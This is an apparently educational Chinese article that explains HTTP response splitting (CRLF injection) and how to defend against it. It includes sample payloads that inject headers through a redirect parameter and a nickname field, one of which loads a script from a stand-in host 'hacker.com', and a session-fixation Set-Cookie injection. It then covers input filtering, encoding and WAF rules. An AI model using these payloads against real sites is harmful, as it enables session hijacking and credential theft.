這不是危言聳聽。
在一次安全審計中,某電商平臺發現:
用戶訪問首頁后,自動跳轉到了賭博網站。
但代碼沒被篡改,服務器沒被入侵,日志一切正常。
最終追查發現——
罪魁禍首,竟是一個 %0d%0a
(回車+換行)的URL參數。
這就是鮮為人知卻極其危險的:HTTP 響應截斷攻擊。
它不靠漏洞提權,不靠暴力破解,而是用“文本注入”的方式,讓服務器自己“說出”惡意內容。
今天,我們就來揭開這場“語言級”攻擊的真相。
一、你的響應頭,可能已經被“切開”了
我們每天都在和 HTTP 打交道:
- 瀏覽器請求頁面,
- 服務器返回數據,
- 一切看似自然流暢。
但你有沒有想過——
HTTP 響應,其實是“拼”出來的?
服務器會把響應頭和響應體像“三明治”一樣組合起來:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: user=alice<html>...</html>
其中,換行符 \r\n
是分隔符,兩個 \r\n\r\n
代表響應頭和響應體的分界。
而攻擊者,就盯上了這個“分隔邏輯”。
二、黑客怎么“切開”HTTP 響應?
想象一下:
你讓廚師寫一張菜單:“主菜:紅燒肉”。
但他在“紅燒肉”后面偷偷加了“\n\n甜點:冰淇淋\n\n備注:所有客人都送一杯毒藥”。
結果,這張菜單就變成了兩張獨立的指令。
HTTP 響應截斷,正是這種“越權拼接”。
攻擊核心:CRLF 注入
CRLF = Carriage Return + Line Feed
= \r\n
攻擊者通過在用戶輸入中插入 %0d%0a
(URL 編碼后的 \r\n
),提前結束響應頭,然后注入自己的“新響應”。
典型場景:重定向參數污染
比如這個鏈接:
https://example.com/redirect?url=https://safe.com
服務器代碼可能是:
String url = request.getParameter("url");
response.sendRedirect(url);
看起來沒問題?錯。
如果攻擊者把 url
參數改成:
https://safe.com%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
服務器就會生成:
HTTP/1.1 302 Found
Location: https://safe.com
Content-Type: text/html<script>alert(1)</script>
瀏覽器收到后,會認為這是兩個獨立的HTTP響應:
- 第一個:重定向到 safe.com(合法)
- 第二個:一個包含惡意腳本的頁面(攻擊者注入)
雖然現代瀏覽器對重定向中的響應體處理較嚴格,但在非重定向場景中,這種攻擊可以直接生效。
三、更可怕的實戰:Cookie + XSS = 會話劫持
來看一個更真實、更危險的案例。
場景:設置用戶名并寫入 Cookie
某網站允許用戶自定義昵稱,并通過響應頭設置 Cookie:
Set-Cookie: username=用戶輸入的昵稱
攻擊者注冊昵稱為:
Alice%0d%0a%0d%0a<script src=//hacker.com/x.js></script>
服務器生成的響應變成:
HTTP/1.1 200 OK
Set-Cookie: username=Alice<script src=//hacker.com/x.js></script>
<html>...</html>
用戶的瀏覽器會:
- 忽略第一個“空響應”,
- 執行第二個響應體中的惡意腳本。
結果:
- 用戶毫無察覺,
- 卻已加載了黑客的 JS,
- 賬號、Cookie、密碼輸入,全部被竊取。
這就是 “響應截斷 + XSS” 的完美結合,比普通 XSS 更隱蔽,更難防御。
四、它還能干啥?這些后果你可能想不到
別以為這只是“彈個窗”的小問題。
HTTP 響應截斷的連鎖反應,遠超你的想象:
1. 網頁緩存投毒(Web Cache Poisoning)
如果網站用了 CDN 或反向代理緩存,攻擊者可以讓緩存服務器把惡意內容和正常 URL 綁定。
結果:所有用戶訪問首頁,都看到釣魚頁面。
修復難度極大,緩存不清空,問題一直存在。
2. 會話固定(Session Fixation)
攻擊者注入:
%0d%0aSet-Cookie: SESSIONID=attack123
強行將用戶的會話ID設為已知值。
用戶登錄后,黑客直接拿著這個 ID 登錄,完成無密碼入侵。
3. 內容欺騙與釣魚
返回一個和官網一模一樣的登錄頁,但表單提交地址指向黑客服務器。
用戶輸入賬號密碼,直接“上交”。
五、為什么它這么難防?
因為:
- 請求看起來完全合法,沒有SQL注入、沒有文件上傳;
- 流量極小,不會觸發 DDoS 告警;
- 傳統 WAF 規則難以識別,因為它不依賴特定 payload,而是利用協議邏輯;
- 開發者容易忽略:誰會想到一個“換行符”能毀掉整個系統?
六、三步防御法:從開發到運維全面設防
? 第一步:輸入過濾——堵住源頭
對所有將用于設置響應頭的用戶輸入,嚴格過濾:
// Java 示例
String input = request.getParameter("name");
input = input.replaceAll("[\\r\\n]", ""); // 移除 CRLF
最佳實踐:使用白名單。
比如用戶名只允許 a-z, 0-9, _-
,其他一律拒絕。
? 第二步:輸出編碼——雙重保險
即使輸入進了系統,也要在寫入響應頭前編碼:
// 使用 URL 編碼
String encoded = URLEncoder.encode(input, "UTF-8");
response.setHeader("X-User", encoded);
這樣,%0d%0a
會被轉成 %250d%250a
,失去攻擊能力。
? 第三步:用框架,別自己造輪子
現代框架早已內置防護:
框架 | 防護機制 |
---|---|
Spring Boot | HttpHeaders 自動過濾非法字符 |
Django | HttpResponse headers 自動清理 |
Express.js | setHeader 對特殊字符有校驗 |
👉 結論:優先使用成熟框架,避免手寫 response.setHeader()
。
七、運維必做:WAF + 日志監控
1. 部署 WAF,開啟 CRLF 檢測規則
- 攔截包含
%0d%0a
、\r\n
的請求; - 特別關注
Cookie
、Location
、Referer
等頭字段的輸入源。
2. 監控異常響應
- 設置告警:短時間內大量 302 重定向或 Set-Cookie 異常;
- 定期審計日志,查找可疑的 URL 編碼參數。
安全,藏在最不起眼的字符里
我們總以為,安全是防火墻、是加密、是漏洞掃描。
但真正的風險,往往藏在一行代碼、一個換行符、一次不規范的輸入處理中。
HTTP 響應截斷攻擊提醒我們:
在Web世界里,每一個字符都可能是武器。
作為開發者,不要問“誰會這么干”;
而要問:“如果有人這么干,我的系統會不會崩?”
防御的本質,不是預測攻擊,而是杜絕可能性。